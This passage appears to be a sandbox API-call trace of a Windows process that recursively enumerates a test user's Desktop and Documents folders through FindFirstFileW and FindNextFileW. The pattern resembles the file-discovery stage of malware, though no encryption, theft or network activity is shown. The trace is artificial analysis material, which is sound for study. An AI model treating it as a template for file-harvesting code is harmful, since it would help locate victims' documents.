cFileName="ydu-RA8BxCVUp4_o16h.swf", cAlternateFileName="YDU-RA~1.SWF")) returned 1 [0213.688] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.688] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0213.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.688] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.689] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94", lpFilePart=0x0) returned 0x28 [0213.689] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\qudp9t5j94\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a919620, ftCreationTime.dwHighDateTime=0x1d9a78c, ftLastAccessTime.dwLowDateTime=0xd274fe0, ftLastAccessTime.dwHighDateTime=0x1d9b051, ftLastWriteTime.dwLowDateTime=0xd274fe0, ftLastWriteTime.dwHighDateTime=0x1d9b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0213.689] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a919620, ftCreationTime.dwHighDateTime=0x1d9a78c, ftLastAccessTime.dwLowDateTime=0xd274fe0, ftLastAccessTime.dwHighDateTime=0x1d9b051, ftLastWriteTime.dwLowDateTime=0xd274fe0, ftLastWriteTime.dwHighDateTime=0x1d9b051, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.689] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35777b90, ftCreationTime.dwHighDateTime=0x1d9b052, ftLastAccessTime.dwLowDateTime=0xbd76c80, ftLastAccessTime.dwHighDateTime=0x1d9b0ef, ftLastWriteTime.dwLowDateTime=0xbd76c80, ftLastWriteTime.dwHighDateTime=0x1d9b0ef, nFileSizeHigh=0x0, nFileSizeLow=0xa6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="5SDCXJpPVEx.gif", cAlternateFileName="5SDCXJ~1.GIF")) returned 1 [0213.690] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x570321d0, ftCreationTime.dwHighDateTime=0x1d9ac04, ftLastAccessTime.dwLowDateTime=0xceaea020, ftLastAccessTime.dwHighDateTime=0x1d9aed8, ftLastWriteTime.dwLowDateTime=0xceaea020, ftLastWriteTime.dwHighDateTime=0x1d9aed8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FkLM5jLJIR76", cAlternateFileName="FKLM5J~1")) returned 1 [0213.690] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776a2e60, ftCreationTime.dwHighDateTime=0x1d9a99c, ftLastAccessTime.dwLowDateTime=0x3c887890, ftLastAccessTime.dwHighDateTime=0x1d9ac78, ftLastWriteTime.dwLowDateTime=0x3c887890, ftLastWriteTime.dwHighDateTime=0x1d9ac78, nFileSizeHigh=0x0, nFileSizeLow=0xea01, dwReserved0=0x0, dwReserved1=0x0, cFileName="tvQaxGNEU_04E2hZ.mp3", cAlternateFileName="TVQAXG~1.MP3")) returned 1 [0213.690] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b24d5d0, ftCreationTime.dwHighDateTime=0x1d9a7fd, ftLastAccessTime.dwLowDateTime=0x3e81d40, ftLastAccessTime.dwHighDateTime=0x1d9b4a4, ftLastWriteTime.dwLowDateTime=0x3e81d40, ftLastWriteTime.dwHighDateTime=0x1d9b4a4, nFileSizeHigh=0x0, nFileSizeLow=0x2bca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ydu-RA8BxCVUp4_o16h.swf", cAlternateFileName="YDU-RA~1.SWF")) returned 1 [0213.690] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e1ddf40 | out: lpFindFileData=0x1e1ddf40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b24d5d0, ftCreationTime.dwHighDateTime=0x1d9a7fd, ftLastAccessTime.dwLowDateTime=0x3e81d40, ftLastAccessTime.dwHighDateTime=0x1d9b4a4, ftLastWriteTime.dwLowDateTime=0x3e81d40, ftLastWriteTime.dwHighDateTime=0x1d9b4a4, nFileSizeHigh=0x0, nFileSizeLow=0x2bca, dwReserved0=0x0, dwReserved1=0x0, cFileName="ydu-RA8BxCVUp4_o16h.swf", cAlternateFileName="YDU-RA~1.SWF")) returned 0 [0213.690] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0213.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de1a0) returned 1 [0213.691] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de160) returned 1 [0213.691] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0213.691] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94\\FkLM5jLJIR76", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94\\FkLM5jLJIR76", lpFilePart=0x0) returned 0x35 [0213.691] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94\\FkLM5jLJIR76\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\qudp9t5j94\\fklm5jljir76\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x570321d0, ftCreationTime.dwHighDateTime=0x1d9ac04, ftLastAccessTime.dwLowDateTime=0xceaea020, ftLastAccessTime.dwHighDateTime=0x1d9aed8, ftLastWriteTime.dwLowDateTime=0xceaea020, ftLastWriteTime.dwHighDateTime=0x1d9aed8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a180 [0213.691] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x570321d0, ftCreationTime.dwHighDateTime=0x1d9ac04, ftLastAccessTime.dwLowDateTime=0xceaea020, ftLastAccessTime.dwHighDateTime=0x1d9aed8, ftLastWriteTime.dwLowDateTime=0xceaea020, ftLastWriteTime.dwHighDateTime=0x1d9aed8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.692] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a138b0, ftCreationTime.dwHighDateTime=0x1d9aec4, ftLastAccessTime.dwLowDateTime=0x9dc6df30, ftLastAccessTime.dwHighDateTime=0x1d9b087, ftLastWriteTime.dwLowDateTime=0x9dc6df30, ftLastWriteTime.dwHighDateTime=0x1d9b087, nFileSizeHigh=0x0, nFileSizeLow=0x18048, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFTv.csv", cAlternateFileName="")) returned 1 [0213.692] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebc5f0, ftCreationTime.dwHighDateTime=0x1d9af36, ftLastAccessTime.dwLowDateTime=0xcb432620, ftLastAccessTime.dwHighDateTime=0x1d9b02e, ftLastWriteTime.dwLowDateTime=0xcb432620, ftLastWriteTime.dwHighDateTime=0x1d9b02e, nFileSizeHigh=0x0, nFileSizeLow=0xe9c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DpBsjRDHf73h3wbn.mkv", cAlternateFileName="DPBSJR~1.MKV")) returned 1 [0213.692] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1470b630, ftCreationTime.dwHighDateTime=0x1d9a83e, ftLastAccessTime.dwLowDateTime=0x16b775a0, ftLastAccessTime.dwHighDateTime=0x1d9b004, ftLastWriteTime.dwLowDateTime=0x16b775a0, ftLastWriteTime.dwHighDateTime=0x1d9b004, nFileSizeHigh=0x0, nFileSizeLow=0xd837, dwReserved0=0x0, dwReserved1=0x0, cFileName="G1RnMavA95.wav", cAlternateFileName="G1RNMA~1.WAV")) returned 1 [0213.692] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2647900, ftCreationTime.dwHighDateTime=0x1d9a9f2, ftLastAccessTime.dwLowDateTime=0xeb8a3cb0, ftLastAccessTime.dwHighDateTime=0x1d9ab57, ftLastWriteTime.dwLowDateTime=0xeb8a3cb0, ftLastWriteTime.dwHighDateTime=0x1d9ab57, nFileSizeHigh=0x0, nFileSizeLow=0xa711, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeU749iRb2wk.ods", cAlternateFileName="MEU749~1.ODS")) returned 1 [0213.692] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x563551c0, ftCreationTime.dwHighDateTime=0x1d9a636, ftLastAccessTime.dwLowDateTime=0x68affb30, ftLastAccessTime.dwHighDateTime=0x1d9abee, ftLastWriteTime.dwLowDateTime=0x68affb30, ftLastWriteTime.dwHighDateTime=0x1d9abee, nFileSizeHigh=0x0, nFileSizeLow=0x12544, dwReserved0=0x0, dwReserved1=0x0, cFileName="NXZMnlhUNqtTD.ods", cAlternateFileName="NXZMNL~1.ODS")) returned 1 [0213.693] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f681c0, ftCreationTime.dwHighDateTime=0x1d9af85, ftLastAccessTime.dwLowDateTime=0x6a3e1980, ftLastAccessTime.dwHighDateTime=0x1d9b005, ftLastWriteTime.dwLowDateTime=0x6a3e1980, ftLastWriteTime.dwHighDateTime=0x1d9b005, nFileSizeHigh=0x0, nFileSizeLow=0x5a32, dwReserved0=0x0, dwReserved1=0x0, cFileName="yowPsmqo nkqETc.mp3", cAlternateFileName="YOWPSM~1.MP3")) returned 1 [0213.693] FindNextFileW (in: hFindFile=0x1d46a180, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0213.693] FindClose (in: hFindFile=0x1d46a180 | out: hFindFile=0x1d46a180) returned 1 [0213.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0213.693] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0213.693] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1ddab0) returned 1 [0213.693] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94\\FkLM5jLJIR76", nBufferLength=0x105, lpBuffer=0x1e1dd590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94\\FkLM5jLJIR76", lpFilePart=0x0) returned 0x35 [0213.693] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\qudp9T5J94\\FkLM5jLJIR76\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\qudp9t5j94\\fklm5jljir76\\*"), lpFindFileData=0x1e1dd7c0 | out: lpFindFileData=0x1e1dd7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x570321d0, ftCreationTime.dwHighDateTime=0x1d9ac04, ftLastAccessTime.dwLowDateTime=0xceaea020, ftLastAccessTime.dwHighDateTime=0x1d9aed8, ftLastWriteTime.dwLowDateTime=0xceaea020, ftLastWriteTime.dwHighDateTime=0x1d9aed8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0213.694] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x570321d0, ftCreationTime.dwHighDateTime=0x1d9ac04, ftLastAccessTime.dwLowDateTime=0xceaea020, ftLastAccessTime.dwHighDateTime=0x1d9aed8, ftLastWriteTime.dwLowDateTime=0xceaea020, ftLastWriteTime.dwHighDateTime=0x1d9aed8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.694] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81a138b0, ftCreationTime.dwHighDateTime=0x1d9aec4, ftLastAccessTime.dwLowDateTime=0x9dc6df30, ftLastAccessTime.dwHighDateTime=0x1d9b087, ftLastWriteTime.dwLowDateTime=0x9dc6df30, ftLastWriteTime.dwHighDateTime=0x1d9b087, nFileSizeHigh=0x0, nFileSizeLow=0x18048, dwReserved0=0x0, dwReserved1=0x0, cFileName="DFTv.csv", cAlternateFileName="")) returned 1 [0213.694] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ebc5f0, ftCreationTime.dwHighDateTime=0x1d9af36, ftLastAccessTime.dwLowDateTime=0xcb432620, ftLastAccessTime.dwHighDateTime=0x1d9b02e, ftLastWriteTime.dwLowDateTime=0xcb432620, ftLastWriteTime.dwHighDateTime=0x1d9b02e, nFileSizeHigh=0x0, nFileSizeLow=0xe9c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DpBsjRDHf73h3wbn.mkv", cAlternateFileName="DPBSJR~1.MKV")) returned 1 [0213.694] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1470b630, ftCreationTime.dwHighDateTime=0x1d9a83e, ftLastAccessTime.dwLowDateTime=0x16b775a0, ftLastAccessTime.dwHighDateTime=0x1d9b004, ftLastWriteTime.dwLowDateTime=0x16b775a0, ftLastWriteTime.dwHighDateTime=0x1d9b004, nFileSizeHigh=0x0, nFileSizeLow=0xd837, dwReserved0=0x0, dwReserved1=0x0, cFileName="G1RnMavA95.wav", cAlternateFileName="G1RNMA~1.WAV")) returned 1 [0213.695] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2647900, ftCreationTime.dwHighDateTime=0x1d9a9f2, ftLastAccessTime.dwLowDateTime=0xeb8a3cb0, ftLastAccessTime.dwHighDateTime=0x1d9ab57, ftLastWriteTime.dwLowDateTime=0xeb8a3cb0, ftLastWriteTime.dwHighDateTime=0x1d9ab57, nFileSizeHigh=0x0, nFileSizeLow=0xa711, dwReserved0=0x0, dwReserved1=0x0, cFileName="MeU749iRb2wk.ods", cAlternateFileName="MEU749~1.ODS")) returned 1 [0213.695] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x563551c0, ftCreationTime.dwHighDateTime=0x1d9a636, ftLastAccessTime.dwLowDateTime=0x68affb30, ftLastAccessTime.dwHighDateTime=0x1d9abee, ftLastWriteTime.dwLowDateTime=0x68affb30, ftLastWriteTime.dwHighDateTime=0x1d9abee, nFileSizeHigh=0x0, nFileSizeLow=0x12544, dwReserved0=0x0, dwReserved1=0x0, cFileName="NXZMnlhUNqtTD.ods", cAlternateFileName="NXZMNL~1.ODS")) returned 1 [0213.695] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f681c0, ftCreationTime.dwHighDateTime=0x1d9af85, ftLastAccessTime.dwLowDateTime=0x6a3e1980, ftLastAccessTime.dwHighDateTime=0x1d9b005, ftLastWriteTime.dwLowDateTime=0x6a3e1980, ftLastWriteTime.dwHighDateTime=0x1d9b005, nFileSizeHigh=0x0, nFileSizeLow=0x5a32, dwReserved0=0x0, dwReserved1=0x0, cFileName="yowPsmqo nkqETc.mp3", cAlternateFileName="YOWPSM~1.MP3")) returned 1 [0213.695] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e1dd780 | out: lpFindFileData=0x1e1dd780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f681c0, ftCreationTime.dwHighDateTime=0x1d9af85, ftLastAccessTime.dwLowDateTime=0x6a3e1980, ftLastAccessTime.dwHighDateTime=0x1d9b005, ftLastWriteTime.dwLowDateTime=0x6a3e1980, ftLastWriteTime.dwHighDateTime=0x1d9b005, nFileSizeHigh=0x0, nFileSizeLow=0x5a32, dwReserved0=0x0, dwReserved1=0x0, cFileName="yowPsmqo nkqETc.mp3", cAlternateFileName="YOWPSM~1.MP3")) returned 0 [0213.696] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0213.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9e0) returned 1 [0213.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1dd9a0) returned 1 [0213.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1dea30) returned 1 [0213.696] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents", nBufferLength=0x105, lpBuffer=0x1e1de510, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents", lpFilePart=0x0) returned 0x1f [0213.696] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\*"), lpFindFileData=0x1e1de740 | out: lpFindFileData=0x1e1de740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf86d1e3c, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf86d1e3c, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469520 [0213.696] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf86d1e3c, ftLastAccessTime.dwHighDateTime=0x1d9b561, ftLastWriteTime.dwLowDateTime=0xf86d1e3c, ftLastWriteTime.dwHighDateTime=0x1d9b561, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0213.697] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x761d0e90, ftCreationTime.dwHighDateTime=0x1d9a994, ftLastAccessTime.dwLowDateTime=0x2c85c3c0, ftLastAccessTime.dwHighDateTime=0x1d9acf1, ftLastWriteTime.dwLowDateTime=0x2c85c3c0, ftLastWriteTime.dwHighDateTime=0x1d9acf1, nFileSizeHigh=0x0, nFileSizeLow=0x4c9d, dwReserved0=0x0, dwReserved1=0x0, cFileName="2Kq2ndkvi9f.ppt", cAlternateFileName="2KQ2ND~1.PPT")) returned 1 [0213.697] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb91e4a0, ftCreationTime.dwHighDateTime=0x1d9aa97, ftLastAccessTime.dwLowDateTime=0x4b39560, ftLastAccessTime.dwHighDateTime=0x1d9b148, ftLastWriteTime.dwLowDateTime=0x4b39560, ftLastWriteTime.dwHighDateTime=0x1d9b148, nFileSizeHigh=0x0, nFileSizeLow=0x13a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="5_vtE4r5x4QM.ods", cAlternateFileName="5_VTE4~1.ODS")) returned 1 [0213.697] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86567de0, ftCreationTime.dwHighDateTime=0x1d96219, ftLastAccessTime.dwLowDateTime=0x1b9027b0, ftLastAccessTime.dwHighDateTime=0x1d9aa2e, ftLastWriteTime.dwLowDateTime=0x1b9027b0, ftLastWriteTime.dwHighDateTime=0x1d9aa2e, nFileSizeHigh=0x0, nFileSizeLow=0x16764, dwReserved0=0x0, dwReserved1=0x0, cFileName="7K1jfCi2.pptx", cAlternateFileName="7K1JFC~1.PPT")) returned 1 [0213.697] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fdf6b50, ftCreationTime.dwHighDateTime=0x1d9aacf, ftLastAccessTime.dwLowDateTime=0x1d7780b0, ftLastAccessTime.dwHighDateTime=0x1d9b202, ftLastWriteTime.dwLowDateTime=0x1d7780b0, ftLastWriteTime.dwHighDateTime=0x1d9b202, nFileSizeHigh=0x0, nFileSizeLow=0xc97a, dwReserved0=0x0, dwReserved1=0x0, cFileName="8TWoTVUw.ppt", cAlternateFileName="")) returned 1 [0213.697] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85f9ef70, ftCreationTime.dwHighDateTime=0x1d97895, ftLastAccessTime.dwLowDateTime=0x1d30cf00, ftLastAccessTime.dwHighDateTime=0x1d99bee, ftLastWriteTime.dwLowDateTime=0x1d30cf00, ftLastWriteTime.dwHighDateTime=0x1d99bee, nFileSizeHigh=0x0, nFileSizeLow=0xb03e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AjHNmOmWXtRAXNa4VVob.pptx", cAlternateFileName="AJHNMO~1.PPT")) returned 1 [0213.697] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec34f220, ftCreationTime.dwHighDateTime=0x1d9a5a5, ftLastAccessTime.dwLowDateTime=0x52a68b20, ftLastAccessTime.dwHighDateTime=0x1d9b1ba, ftLastWriteTime.dwLowDateTime=0x52a68b20, ftLastWriteTime.dwHighDateTime=0x1d9b1ba, nFileSizeHigh=0x0, nFileSizeLow=0x1099, dwReserved0=0x0, dwReserved1=0x0, cFileName="bk7t6W0LqmOD.docx", cAlternateFileName="BK7T6W~1.DOC")) returned 1 [0213.698] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e1de700 | out: lpFindFileData=0x1e1de700*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefabff30, ftCreationTime.dwHighDateTime=0x1d9af63, ftLastAccessTime.dwLowDateTime=0x7224cdb0, ftLastAccessTime.dwHighDateTime=0x1d9b168, ftLastWriteTime.dwLowDateTime=0x7224cdb0, ftLastWriteTime.dwHighDateTime=0x1d9b168, nFileSizeHigh=0x0, nFileSizeLow=0x1279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CEgDl.doc", cAlternateFileName="")) returned 1 [0213.701] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.701] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Music", lpFilePart=0x0) returned 0x28 [0213.701] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Music\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\my music\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.701] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0213.704] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.704] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures", lpFilePart=0x0) returned 0x2b [0213.704] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\my pictures\\*"), lpFindFileData=0x1e1ddf80 | out: lpFindFileData=0x1e1ddf80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0213.705] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e1de210) returned 1 [0213.707] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e1de270) returned 1 [0213.707] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1e1ddd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures", lpFilePart=0x0) returned 0x2b [0213.707] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\my pictures\\*"), lpFindFileData=0x1e1ddf80 | out: 